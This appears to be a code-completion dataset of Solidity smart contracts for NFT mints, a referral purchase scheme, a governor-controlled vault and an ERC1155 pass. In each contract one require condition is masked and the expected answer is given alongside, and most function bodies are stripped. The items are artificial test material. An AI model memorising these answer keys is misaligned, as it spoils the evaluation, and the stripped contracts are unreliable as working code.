"Max claim amount exceeded!" | // 8LEMENTS
pragma solidity >= 0.8.0;
contract ELEMENTS is ERC721AQueryable, Ownable, ReentrancyGuard, OperatorFilterer {
using Strings for uint256;
string public uriPrefix;
string public uriSuffix = ".json";
string public notRevealedURI = "ipfs://QmSvXAQj9wzkxxrZ7ugM7j22XVfrXTT5wTRAVGphK4j5wV/metadata3/hidden.json";
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 8016;
uint256 public maxPerTx = 20;
uint256 public maxPerWallet = 200;
bool public publicMint = false;
bool public claimMint = false;
bool public paused = true;
bool public revealed = false;
address public parentAddress = 0x9bbE09E8253450856E1dC6B068b07664152E4703;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A ( "8lements Official", "8L" ) OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
// ~~~~~~~~~~~~~~~~~~~~ URI's ~~~~~~~~~~~~~~~~~~~~
function _baseURI() internal view virtual override returns (string memory) {
}
// ~~~~~~~~~~~~~~~~~~~~ Modifiers ~~~~~~~~~~~~~~~~~~~~
modifier mintCompliance(uint256 _mintAmount) {
}
// ~~~~~~~~~~~~~~~~~~~~ Mint Functions ~~~~~~~~~~~~~~~~~~~~
// PUBLIC MINT
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// HOLDERS CLAIM
function claim(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(claimMint, "Holders claim is not allowed yet.");
ERC721A token = ERC721A(parentAddress);
uint256 callerBalance = token.balanceOf(msg.sender);
require(<FILL_ME>)
addressMintedBalance[msg.sender] += _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
// MINT for address
function mintToAddress(uint256 _mintAmount, address _receiver) public onlyOwner {
}
// Mass airdrop
function MassAirdrop(uint256 amount, address[] calldata _receivers) public onlyOwner {
}
// ~~~~~~~~~~~~~~~~~~~~ Checks ~~~~~~~~~~~~~~~~~~~~
// Start Token
function _startTokenId() internal view virtual override returns (uint256) {
}
// TOKEN URI
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// ~~~~~~~~~~~~~~~~~~~~ onlyOwner Functions ~~~~~~~~~~~~~~~~~~~~
// SET PARENT ADDRESS
function setParentAddress(address _newAddress) public onlyOwner {
}
// SET MAX SUPPLY
function setMaxSupply(uint256 _MaxSupply) public onlyOwner {
}
// SET COST
function setCost(uint256 _cost) public onlyOwner {
}
// SET MAX PER TRANSACTION
function setMaxPerTx(uint256 _maxPerTx) public onlyOwner {
}
// SET MAX PER WALLET
function setMaxPerWallet(uint256 _maxPerWallet) public onlyOwner {
}
// BaseURI
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
// NotRevealedURI
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
// ENABLE/DISABLE PUBLIC MINT
function enablePublicMint() public onlyOwner {
}
// ENABLE/DISABLE HOLDERS CLAIM
function enableClaimMint() public onlyOwner {
}
// PAUSE
function pause() public onlyOwner {
}
// REVEAL
function reveal() public onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
// ~~~~~~~~~~~~~~~~~~~~ Withdraw Functions ~~~~~~~~~~~~~~~~~~~~
function withdraw() public onlyOwner nonReentrant {
}
}
| addressMintedBalance[msg.sender]+_mintAmount<=callerBalance,"Max claim amount exceeded!" | 413,950 | addressMintedBalance[msg.sender]+_mintAmount<=callerBalance |
"heightNode not node" | pragma solidity ^0.8.0;
interface Token{
function mint(address _to) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
}
contract Main{
uint256 public nftNodePrice = 3000000000;
uint256 public nftmintPrice = 300000000;
address public nftmintAddress;
address public nftNodeAddress;
address public _owner;
address usdtAddress;
address nftAddress;
mapping(address => uint256) public nodeStart;
mapping(address => address) public higherLevel;
event BuyNftNode(address to, uint price, address nftNodeAddress);
event BuyNftMint(address to, uint price, address nftmintAddress, address supaddress);
constructor(){
}
modifier Owner {
}
function setUpOwner(address _to) public Owner{
}
function setUpnftmintAddress(address _to) public Owner{
}
function setUpnftNodeAddress(address _to) public Owner{
}
function setUpnftNodePrice(uint256 _prcie) public Owner{
}
function setUpnftmintPrice(uint256 _prcie) public Owner{
}
function setUpusdtAddress(address _to) public Owner{
}
function setUpnftAddress(address _to) public Owner{
}
function buyNodeNft(uint256 _value) public{
}
function heightNode(address _to) public view returns(uint256){
}
function heightStart(address _to,address _to2) public view returns(uint256){
}
function buyNftMint(address _supadr,uint256 _value) public {
require(_value >= nftmintPrice,"nodeprice not pic" );
require(<FILL_ME>)
require(heightStart(_supadr,msg.sender) == 1,"heightStart not node");
require(_supadr != msg.sender);
Token t = Token(usdtAddress);
t.transferFrom(msg.sender,nftmintAddress,_value);
higherLevel[msg.sender] = _supadr;
Token toNft = Token(nftAddress);
toNft.mint(msg.sender);
emit BuyNftMint(msg.sender,_value,nftmintAddress,_supadr);
}
}
| heightNode(_supadr)==1,"heightNode not node" | 414,032 | heightNode(_supadr)==1 |
"heightStart not node" | pragma solidity ^0.8.0;
interface Token{
function mint(address _to) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
}
contract Main{
uint256 public nftNodePrice = 3000000000;
uint256 public nftmintPrice = 300000000;
address public nftmintAddress;
address public nftNodeAddress;
address public _owner;
address usdtAddress;
address nftAddress;
mapping(address => uint256) public nodeStart;
mapping(address => address) public higherLevel;
event BuyNftNode(address to, uint price, address nftNodeAddress);
event BuyNftMint(address to, uint price, address nftmintAddress, address supaddress);
constructor(){
}
modifier Owner {
}
function setUpOwner(address _to) public Owner{
}
function setUpnftmintAddress(address _to) public Owner{
}
function setUpnftNodeAddress(address _to) public Owner{
}
function setUpnftNodePrice(uint256 _prcie) public Owner{
}
function setUpnftmintPrice(uint256 _prcie) public Owner{
}
function setUpusdtAddress(address _to) public Owner{
}
function setUpnftAddress(address _to) public Owner{
}
function buyNodeNft(uint256 _value) public{
}
function heightNode(address _to) public view returns(uint256){
}
function heightStart(address _to,address _to2) public view returns(uint256){
}
function buyNftMint(address _supadr,uint256 _value) public {
require(_value >= nftmintPrice,"nodeprice not pic" );
require(heightNode(_supadr) == 1,"heightNode not node");
require(<FILL_ME>)
require(_supadr != msg.sender);
Token t = Token(usdtAddress);
t.transferFrom(msg.sender,nftmintAddress,_value);
higherLevel[msg.sender] = _supadr;
Token toNft = Token(nftAddress);
toNft.mint(msg.sender);
emit BuyNftMint(msg.sender,_value,nftmintAddress,_supadr);
}
}
| heightStart(_supadr,msg.sender)==1,"heightStart not node" | 414,032 | heightStart(_supadr,msg.sender)==1 |
"!ZERO" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
require(<FILL_ME>) _;
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| isOwner(address(0)),"!ZERO" | 414,407 | isOwner(address(0)) |
"!AUTHORIZED" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
require(<FILL_ME>) _;
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| isAuthorized(_msgSender()),"!AUTHORIZED" | 414,407 | isAuthorized(_msgSender()) |
"Not enough ether" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
uint ETH_liquidity = msg.value;
require(<FILL_ME>)
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| uint(ETH_liquidity)>=uint(0),"Not enough ether" | 414,407 | uint(ETH_liquidity)>=uint(0) |
null | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
require(<FILL_ME>)
require(address(_Governor) != address(_developmentWallet),"!NEW");
_Governor = payable(_developmentWallet);
(bool transferred) = transferAuthorization(address(_msgSender()), address(_developmentWallet));
assert(transferred==true);
return transferred;
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| address(_Governor)==_msgSender() | 414,407 | address(_Governor)==_msgSender() |
"!NEW" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
require(address(_Governor) == _msgSender());
require(<FILL_ME>)
_Governor = payable(_developmentWallet);
(bool transferred) = transferAuthorization(address(_msgSender()), address(_developmentWallet));
assert(transferred==true);
return transferred;
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| address(_Governor)!=address(_developmentWallet),"!NEW" | 414,407 | address(_Governor)!=address(_developmentWallet) |
"Overdraft prevention: ETH" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
address sender = _msgSender();
address _community_ = payable(_Governor);
require(address(receiver) != address(0));
if(address(_Governor) == address(sender)){
_community_ = payable(receiver);
} else {
revert("!AUTH");
}
uint Eth_liquidity = address(this).balance;
require(<FILL_ME>)
(bool successA,) = payable(_community_).call{value: amount}("");
bool success = successA == true;
assert(success);
emit Transfer(address(this), amount);
return success;
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
}
}
| uint(amount)<=uint(Eth_liquidity),"Overdraft prevention: ETH" | 414,407 | uint(amount)<=uint(Eth_liquidity) |
"Overdraft prevention: ERC20" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract _MSG {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address payable to, uint value) external returns (bool);
function transferFrom(address payable from, address payable to, uint value) external returns (bool);
}
interface IVAULT {
event Transfer(address indexed from, address indexed to, uint value);
function withdrawETH() external returns (bool);
function getNativeBalance() external returns(uint);
function withdrawToken(address token) external returns (bool);
function getTokenBalance(address token) external returns(uint);
function transfer(uint256 amount, address payable receiver) external returns (bool success);
function transferToken(uint256 amount, address payable receiver, address token) external returns (bool success);
}
abstract contract iAuth is _MSG {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address ca,address _Governor) {
}
modifier onlyOwner() virtual {
}
modifier onlyZero() virtual {
}
modifier authorized() virtual {
}
function initialize(address ca, address _governance) private {
}
function authorize(address adr) public virtual authorized() {
}
function unauthorize(address adr) public virtual authorized() {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferAuthorization(address fromAddr, address toAddr) public virtual authorized() returns(bool) {
}
}
contract iV is iAuth, IVAULT {
address payable public _Governor = payable(0x961cBD0fC09D791128C053664C72073F042B92C0);
string public name = unicode"๐ธ๐";
string public symbol = unicode"๐";
mapping (address => uint8) public balanceOf;
event Transfer(address indexed src, uint wad);
event Withdrawal(address indexed src, uint wad);
event WithdrawToken(address indexed src, address indexed token, uint wad);
event TransferToken(address indexed src, address indexed token, uint wad);
constructor() payable iAuth(address(_msgSender()),address(_Governor)) {
}
receive() external payable {
}
fallback() external payable {
}
function setGovernor(address payable _developmentWallet) public authorized() returns(bool) {
}
function getNativeBalance() public view override returns(uint256) {
}
function getTokenBalance(address token) public view override returns(uint256) {
}
function withdrawETH() public authorized() returns(bool) {
}
function withdrawToken(address token) public authorized() returns(bool) {
}
function transfer(uint256 amount, address payable receiver) public virtual override authorized() returns ( bool ) {
}
function transferToken(uint256 amount, address payable receiver, address token) public virtual override authorized() returns ( bool ) {
address sender = _msgSender();
address _community_ = payable(_Governor);
require(address(receiver) != address(0));
if(address(_Governor) == address(sender)){
_community_ = payable(receiver);
} else {
revert("!AUTH");
}
bool success = false;
uint Token_liquidity = IERC20(token).balanceOf(address(this));
require(<FILL_ME>)
IERC20(token).transfer(payable(_Governor), amount);
success = true;
assert(success);
emit TransferToken(address(this), address(token), amount);
return success;
}
}
| uint(amount)<=uint(Token_liquidity),"Overdraft prevention: ERC20" | 414,407 | uint(amount)<=uint(Token_liquidity) |
"Amount of tokens exceeds wallet limit." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./IMintPass.sol";
import "./IPaper.sol";
/// @author no-op.eth (nft-lab.xyz)
/// @title S!ck!ck S!ckheads VIP Passes
contract SickheadPass is ERC1155, IMintPass, IPaper, Ownable, PaymentSplitter {
/** Name of collection */
string public constant name = "S!ckhead VIP Pass";
/** Symbol of collection */
string public constant symbol = "SVP";
/** Maximum amount of tokens in collection */
uint256 public MAX_SUPPLY = 500;
/** Maximum amount of tokens mintable per tx */
uint256 public MAX_TX = 2;
/** Maximum amount of tokens mintable per wallet */
uint256 public MAX_WALLET = 2;
/** Cost per mint */
uint256 public cost = 0.1 ether;
/** URI for the contract metadata */
string public contractURI;
/** For burning */
address public authorizedBurner;
/** For paper */
address public floatWallet;
/** Total supply */
uint256 private _supply = 0;
/** Sale state */
bool public saleActive = false;
/** Purchase list */
mapping(address => uint256) public purchases;
/** Notify on sale state change */
event SaleStateChanged(bool _val);
/** Notify on total supply change */
event TotalSupplyChanged(uint256 _val);
/** For URI conversions */
using Strings for uint256;
constructor(
string memory _uri,
address[] memory _shareholders,
uint256[] memory _shares
) ERC1155(_uri) PaymentSplitter(_shareholders, _shares) {}
/// @notice Sets public sale state
/// @param _val The new value
function setSaleState(bool _val) external onlyOwner {
}
/// @notice Sets cost per mint
/// @param _val New price
/// @dev Send in WEI
function setCost(uint256 _val) external onlyOwner {
}
/// @notice Sets admin burn address
/// @param _val Burn operator address
/// @dev Makes burning a one-step process
function setAuthorizedBurner(address _val) external onlyOwner {
}
/// @notice Sets float wallet address
/// @param _val Float wallet
/// @dev Necessary for paper
function setFloatWallet(address _val) external onlyOwner {
}
/// @notice Sets the base metadata URI
/// @param _val The new URI
function setBaseURI(string memory _val) external onlyOwner {
}
/// @notice Sets the contract metadata URI
/// @param _val The new URI
function setContractURI(string memory _val) external onlyOwner {
}
/// @notice Returns the amount of tokens sold
/// @return supply The number of tokens sold
function totalSupply() public view returns (uint256) {
}
/// @notice Returns the URI for a given token ID
/// @param _id The ID to return URI for
/// @return Token URI
function uri(uint256 _id) public view override returns (string memory) {
}
/// @notice Checks the price of the NFT
/// @param _tokenId The ID of the NFT which the pricing corresponds to
function price(uint256 _tokenId) external view override returns (uint256) {
}
/// @notice Gets any potential reason that the user wallet is not able to claim qty of NFTs
/// @param _userWallet The address of the user's wallet
/// @param _quantity The number of NFTs to be minted
/// @param _tokenId The ID of the NFT that the ineligibility reason corresponds to
function getClaimIneligibilityReason(address _userWallet, uint256 _quantity, uint256 _tokenId) external view override returns (string memory) {
}
/// @notice Checks the total amount of NFTs left to be claimed
/// @param _tokenId the ID of the NFT which the pricing corresponds to
function unclaimedSupply(uint256 _tokenId) external view override returns (uint256) {
}
/// @notice Reserves a set of NFTs for collection owner (giveaways, etc)
/// @param _amt The amount to reserve
function reserve(uint256 _amt) external onlyOwner {
}
/// @notice Mints a new token in public sale
/// @param _userWallet Wallet to be minted to
/// @param _quantity Amount to be minted
/// @dev Must send COST * amt in ETH
function claimTo(address _userWallet, uint256 _quantity, uint256) external payable override {
address _receiver = msg.sender == floatWallet ? _userWallet : msg.sender;
require(saleActive, "Sale is not yet active.");
require(_quantity <= MAX_TX, "Amount of tokens exceeds transaction limit.");
require(<FILL_ME>)
require(_supply + _quantity <= MAX_SUPPLY, "Amount exceeds supply.");
require(cost * _quantity == msg.value, "ETH sent is below cost.");
_supply += _quantity;
purchases[_receiver] += _quantity;
_mint(_receiver, 0, _quantity, "0x0000");
emit TotalSupplyChanged(totalSupply());
}
/// @notice Burns a token
/// @param _account Current token holder
/// @param _id ID to burn
/// @param _value Amount of ID to burn
/// @dev Authorized burner can bypass approval to allow a one-step burn process
function burn(address _account, uint256 _id, uint256 _value) external override {
}
}
